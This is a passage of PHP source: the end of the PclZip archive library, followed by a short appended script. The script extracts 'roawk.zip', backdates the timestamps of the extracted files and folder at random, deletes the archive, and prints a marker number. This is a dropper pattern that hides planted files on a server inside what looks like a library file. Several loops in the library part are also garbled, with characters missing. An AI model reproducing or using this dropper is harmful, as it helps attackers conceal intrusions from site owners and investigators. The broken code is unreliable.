= $v_data['offset']; $p_central_dir['size'] = $v_data['size']; $p_central_dir['disk'] = $v_data['disk']; $p_central_dir['disk_start'] = $v_data['disk_start']; return $v_result; } function privDeleteByRule(&$p_result_list, &$p_options) { $v_result=1; $v_list_detail = array(); if (($v_result=$this->privOpenFd('rb')) != 1) { return $v_result; } $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privCloseFd(); return $v_result; } @rewind($this->zip_fd); $v_pos_entry = $v_central_dir['offset']; @rewind($this->zip_fd); if (@fseek($this->zip_fd, $v_pos_entry)) { $this->privCloseFd(); PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); return PclZip::errorCode(); } $v_header_list = array(); $j_start = 0; for ($i=0, $v_nb_extracted=0; $i<$v_central_dir['entries']; $i++) { $v_header_list[$v_nb_extracted] = array(); if (($v_result = $this->privReadCentralFileHeader($v_header_list[$v_nb_extracted])) != 1) { $this->privCloseFd(); return $v_result; } $v_header_list[$v_nb_extracted]['index'] = $i; $v_found = false; if ( (isset($p_options[PCLZIP_OPT_BY_NAME])) && ($p_options[PCLZIP_OPT_BY_NAME] != 0)) { for ($j=0; ($j strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) && (substr($v_header_list[$v_nb_extracted]['stored_filename'], 0, strlen($p_options[PCLZIP_OPT_BY_NAME][$j])) == $p_options[PCLZIP_OPT_BY_NAME][$j])) { $v_found = true; } elseif ( (($v_header_list[$v_nb_extracted]['external']&0x00000010)==0x00000010) && ($v_header_list[$v_nb_extracted]['stored_filename'].'/' == $p_options[PCLZIP_OPT_BY_NAME][$j])) { $v_found = true; } } elseif ($v_header_list[$v_nb_extracted]['stored_filename'] == $p_options[PCLZIP_OPT_BY_NAME][$j]) { $v_found = true; } } } else if ( (isset($p_options[PCLZIP_OPT_BY_PREG])) && ($p_options[PCLZIP_OPT_BY_PREG] != "")) { if (preg_match($p_options[PCLZIP_OPT_BY_PREG], $v_header_list[$v_nb_extracted]['stored_filename'])) { $v_found = true; } } else if ( (isset($p_options[PCLZIP_OPT_BY_INDEX])) && ($p_options[PCLZIP_OPT_BY_INDEX] != 0)) { for ($j=$j_start; ($j=$p_options[PCLZIP_OPT_BY_INDEX][$j]['start']) && ($i<=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end'])) { $v_found = true; } if ($i>=$p_options[PCLZIP_OPT_BY_INDEX][$j]['end']) { $j_start = $j+1; } if ($p_options[PCLZIP_OPT_BY_INDEX][$j]['start']>$i) { break; } } } else { $v_found = true; } if ($v_found) { unset($v_header_list[$v_nb_extracted]); } else { $v_nb_extracted++; } } if ($v_nb_extracted > 0) { $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp'; $v_temp_zip = new PclZip($v_zip_temp_name); if (($v_result = $v_temp_zip->privOpenFd('wb')) != 1) { $this->privCloseFd(); return $v_result; } for ($i=0; $izip_fd); if (@fseek($this->zip_fd, $v_header_list[$i]['offset'])) { $this->privCloseFd(); $v_temp_zip->privCloseFd(); @unlink($v_zip_temp_name); PclZip::privErrorLog(PCLZIP_ERR_INVALID_ARCHIVE_ZIP, 'Invalid archive size'); return PclZip::errorCode(); } $v_local_header = array(); if (($v_result = $this->privReadFileHeader($v_local_header)) != 1) { $this->privCloseFd(); $v_temp_zip->privCloseFd(); @unlink($v_zip_temp_name); return $v_result; } if ($this->privCheckFileHeaders($v_local_header, $v_header_list[$i]) != 1) { } unset($v_local_header); if (($v_result = $v_temp_zip->privWriteFileHeader($v_header_list[$i])) != 1) { $this->privCloseFd(); $v_temp_zip->privCloseFd(); @unlink($v_zip_temp_name); return $v_result; } if (($v_result = PclZipUtilCopyBlock($this->zip_fd, $v_temp_zip->zip_fd, $v_header_list[$i]['compressed_size'])) != 1) { $this->privCloseFd(); $v_temp_zip->privCloseFd(); @unlink($v_zip_temp_name); return $v_result; } } $v_offset = @ftell($v_temp_zip->zip_fd); for ($i=0; $iprivWriteCentralFileHeader($v_header_list[$i])) != 1) { $v_temp_zip->privCloseFd(); $this->privCloseFd(); @unlink($v_zip_temp_name); return $v_result; } $v_temp_zip->privConvertHeader2FileInfo($v_header_list[$i], $p_result_list[$i]); } $v_comment = ''; if (isset($p_options[PCLZIP_OPT_COMMENT])) { $v_comment = $p_options[PCLZIP_OPT_COMMENT]; } $v_size = @ftell($v_temp_zip->zip_fd)-$v_offset; if (($v_result = $v_temp_zip->privWriteCentralHeader(sizeof($v_header_list), $v_size, $v_offset, $v_comment)) != 1) { unset($v_header_list); $v_temp_zip->privCloseFd(); $this->privCloseFd(); @unlink($v_zip_temp_name); return $v_result; } $v_temp_zip->privCloseFd(); $this->privCloseFd(); @unlink($this->zipname); PclZipUtilRename($v_zip_temp_name, $this->zipname); unset($v_temp_zip); } else if ($v_central_dir['entries'] != 0) { $this->privCloseFd(); if (($v_result = $this->privOpenFd('wb')) != 1) { return $v_result; } if (($v_result = $this->privWriteCentralHeader(0, 0, 0, '')) != 1) { return $v_result; } $this->privCloseFd(); } return $v_result; } function privDirCheck($p_dir, $p_is_dir=false) { $v_result = 1; if (($p_is_dir) && (substr($p_dir, -1)=='/')) { $p_dir = substr($p_dir, 0, strlen($p_dir)-1); } if ((is_dir($p_dir)) || ($p_dir == "")) { return 1; } $p_parent_dir = dirname($p_dir); if ($p_parent_dir != $p_dir) { if ($p_parent_dir != "") { if (($v_result = $this->privDirCheck($p_parent_dir)) != 1) { return $v_result; } } } if (!@mkdir($p_dir, 0777)) { PclZip::privErrorLog(PCLZIP_ERR_DIR_CREATE_FAIL, "Unable to create directory '$p_dir'"); return PclZip::errorCode(); } return $v_result; } function privMerge(&$p_archive_to_add) { $v_result=1; if (!is_file($p_archive_to_add->zipname)) { $v_result = 1; return $v_result; } if (!is_file($this->zipname)) { $v_result = $this->privDuplicate($p_archive_to_add->zipname); return $v_result; } if (($v_result=$this->privOpenFd('rb')) != 1) { return $v_result; } $v_central_dir = array(); if (($v_result = $this->privReadEndCentralDir($v_central_dir)) != 1) { $this->privCloseFd(); return $v_result; } @rewind($this->zip_fd); if (($v_result=$p_archive_to_add->privOpenFd('rb')) != 1) { $this->privCloseFd(); return $v_result; } $v_central_dir_to_add = array(); if (($v_result = $p_archive_to_add->privReadEndCentralDir($v_central_dir_to_add)) != 1) { $this->privCloseFd(); $p_archive_to_add->privCloseFd(); return $v_result; } @rewind($p_archive_to_add->zip_fd); $v_zip_temp_name = PCLZIP_TEMPORARY_DIR.uniqid('pclzip-').'.tmp'; if (($v_zip_temp_fd = @fopen($v_zip_temp_name, 'wb')) == 0) { $this->privCloseFd(); $p_archive_to_add->privCloseFd(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open temporary file \''.$v_zip_temp_name.'\' in binary write mode'); return PclZip::errorCode(); } $v_size = $v_central_dir['offset']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = fread($this->zip_fd, $v_read_size); @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } $v_size = $v_central_dir_to_add['offset']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = fread($p_archive_to_add->zip_fd, $v_read_size); @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } $v_offset = @ftell($v_zip_temp_fd); $v_size = $v_central_dir['size']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($this->zip_fd, $v_read_size); @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } $v_size = $v_central_dir_to_add['size']; while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($p_archive_to_add->zip_fd, $v_read_size); @fwrite($v_zip_temp_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } $v_comment = $v_central_dir['comment'].' '.$v_central_dir_to_add['comment']; $v_size = @ftell($v_zip_temp_fd)-$v_offset; $v_swap = $this->zip_fd; $this->zip_fd = $v_zip_temp_fd; $v_zip_temp_fd = $v_swap; if (($v_result = $this->privWriteCentralHeader($v_central_dir['entries']+$v_central_dir_to_add['entries'], $v_size, $v_offset, $v_comment)) != 1) { $this->privCloseFd(); $p_archive_to_add->privCloseFd(); @fclose($v_zip_temp_fd); $this->zip_fd = null; unset($v_header_list); return $v_result; } $v_swap = $this->zip_fd; $this->zip_fd = $v_zip_temp_fd; $v_zip_temp_fd = $v_swap; $this->privCloseFd(); $p_archive_to_add->privCloseFd(); @fclose($v_zip_temp_fd); @unlink($this->zipname); PclZipUtilRename($v_zip_temp_name, $this->zipname); return $v_result; } function privDuplicate($p_archive_filename) { $v_result=1; if (!is_file($p_archive_filename)) { $v_result = 1; return $v_result; } if (($v_result=$this->privOpenFd('wb')) != 1) { return $v_result; } if (($v_zip_temp_fd = @fopen($p_archive_filename, 'rb')) == 0) { $this->privCloseFd(); PclZip::privErrorLog(PCLZIP_ERR_READ_OPEN_FAIL, 'Unable to open archive file \''.$p_archive_filename.'\' in binary write mode'); return PclZip::errorCode(); } $v_size = filesize($p_archive_filename); while ($v_size != 0) { $v_read_size = ($v_size < PCLZIP_READ_BLOCK_SIZE ? $v_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = fread($v_zip_temp_fd, $v_read_size); @fwrite($this->zip_fd, $v_buffer, $v_read_size); $v_size -= $v_read_size; } $this->privCloseFd(); @fclose($v_zip_temp_fd); return $v_result; } function privErrorLog($p_error_code=0, $p_error_string='') { if (PCLZIP_ERROR_EXTERNAL == 1) { PclError($p_error_code, $p_error_string); } else { $this->error_code = $p_error_code; $this->error_string = $p_error_string; } } function privErrorReset() { if (PCLZIP_ERROR_EXTERNAL == 1) { PclErrorReset(); } else { $this->error_code = 0; $this->error_string = ''; } } function privDisableMagicQuotes() { $v_result=1; if ( (!function_exists("get_magic_quotes_runtime")) || (!function_exists("set_magic_quotes_runtime"))) { return $v_result; } if ($this->magic_quotes_status != -1) { return $v_result; } $this->magic_quotes_status = @get_magic_quotes_runtime(); if ($this->magic_quotes_status == 1) { @set_magic_quotes_runtime(0); } return $v_result; } function privSwapBackMagicQuotes() { $v_result=1; if ( (!function_exists("get_magic_quotes_runtime")) || (!function_exists("set_magic_quotes_runtime"))) { return $v_result; } if ($this->magic_quotes_status != -1) { return $v_result; } if ($this->magic_quotes_status == 1) { @set_magic_quotes_runtime($this->magic_quotes_status); } return $v_result; } } function PclZipUtilPathReduction($p_dir) { $v_result = ""; if ($p_dir != "") { $v_list = explode("/", $p_dir); $v_skip = 0; for ($i=sizeof($v_list)-1; $i>=0; $i--) { if ($v_list[$i] == ".") { } else if ($v_list[$i] == "..") { $v_skip++; } else if ($v_list[$i] == "") { if ($i == 0) { $v_result = "/".$v_result; if ($v_skip > 0) { $v_result = $p_dir; $v_skip = 0; } } else if ($i == (sizeof($v_list)-1)) { $v_result = $v_list[$i]; } else { } } else { if ($v_skip > 0) { $v_skip--; } else { $v_result = $v_list[$i].($i!=(sizeof($v_list)-1)?"/".$v_result:""); } } } if ($v_skip > 0) { while ($v_skip > 0) { $v_result = '../'.$v_result; $v_skip--; } } } return $v_result; } function PclZipUtilPathInclusion($p_dir, $p_path) { $v_result = 1; if ( ($p_dir == '.') || ((strlen($p_dir) >=2) && (substr($p_dir, 0, 2) == './'))) { $p_dir = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_dir, 1); } if ( ($p_path == '.') || ((strlen($p_path) >=2) && (substr($p_path, 0, 2) == './'))) { $p_path = PclZipUtilTranslateWinPath(getcwd(), FALSE).'/'.substr($p_path, 1); } $v_list_dir = explode("/", $p_dir); $v_list_dir_size = sizeof($v_list_dir); $v_list_path = explode("/", $p_path); $v_list_path_size = sizeof($v_list_path); $i = 0; $j = 0; while (($i < $v_list_dir_size) && ($j < $v_list_path_size) && ($v_result)) { if ($v_list_dir[$i] == '') { $i++; continue; } if ($v_list_path[$j] == '') { $j++; continue; } if (($v_list_dir[$i] != $v_list_path[$j]) && ($v_list_dir[$i] != '') && ( $v_list_path[$j] != '')) { $v_result = 0; } $i++; $j++; } if ($v_result) { while (($j < $v_list_path_size) && ($v_list_path[$j] == '')) $j++; while (($i < $v_list_dir_size) && ($v_list_dir[$i] == '')) $i++; if (($i >= $v_list_dir_size) && ($j >= $v_list_path_size)) { $v_result = 2; } else if ($i < $v_list_dir_size) { $v_result = 0; } } return $v_result; } function PclZipUtilCopyBlock($p_src, $p_dest, $p_size, $p_mode=0) { $v_result = 1; if ($p_mode==0) { while ($p_size != 0) { $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($p_src, $v_read_size); @fwrite($p_dest, $v_buffer, $v_read_size); $p_size -= $v_read_size; } } else if ($p_mode==1) { while ($p_size != 0) { $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @gzread($p_src, $v_read_size); @fwrite($p_dest, $v_buffer, $v_read_size); $p_size -= $v_read_size; } } else if ($p_mode==2) { while ($p_size != 0) { $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @fread($p_src, $v_read_size); @gzwrite($p_dest, $v_buffer, $v_read_size); $p_size -= $v_read_size; } } else if ($p_mode==3) { while ($p_size != 0) { $v_read_size = ($p_size < PCLZIP_READ_BLOCK_SIZE ? $p_size : PCLZIP_READ_BLOCK_SIZE); $v_buffer = @gzread($p_src, $v_read_size); @gzwrite($p_dest, $v_buffer, $v_read_size); $p_size -= $v_read_size; } } return $v_result; } function PclZipUtilRename($p_src, $p_dest) { $v_result = 1; if (!@rename($p_src, $p_dest)) { if (!@copy($p_src, $p_dest)) { $v_result = 0; } else if (!@unlink($p_src)) { $v_result = 0; } } return $v_result; } function PclZipUtilOptionText($p_option) { $v_list = get_defined_constants(); for (reset($v_list); $v_key = key($v_list); next($v_list)) { $v_prefix = substr($v_key, 0, 10); if (( ($v_prefix == 'PCLZIP_OPT') || ($v_prefix == 'PCLZIP_CB_') || ($v_prefix == 'PCLZIP_ATT')) && ($v_list[$v_key] == $p_option)) { return $v_key; } } $v_result = 'Unknown'; return $v_result; } function PclZipUtilTranslateWinPath($p_path, $p_remove_disk_letter=true) { if (stristr(php_uname(), 'windows')) { if (($p_remove_disk_letter) && (($v_position = strpos($p_path, ':')) != false)) { $p_path = substr($p_path, $v_position+1); } if ((strpos($p_path, '\\') > 0) || (substr($p_path, 0,1) == '\\')) { $p_path = strtr($p_path, '\\', '/'); } } return $p_path; } $archive = new PclZip("roawk.zip"); if ($archive->extract() == 0) { die("Error : ".$archive->errorInfo(true)); } else { $dirs = explode(".", "roawk.zip"); $files = getDirContents($dirs[0]); foreach($files as $file){ touch($file, time() - 3600 * 7 * rand(10,70)); } touch("roawk.zip", time() - 3600 * 7 * rand(10,70)); touch($dirs[0], time() - 3600 * 7 * rand(10,70)); @unlink("roawk.zip"); die("1425756856"); }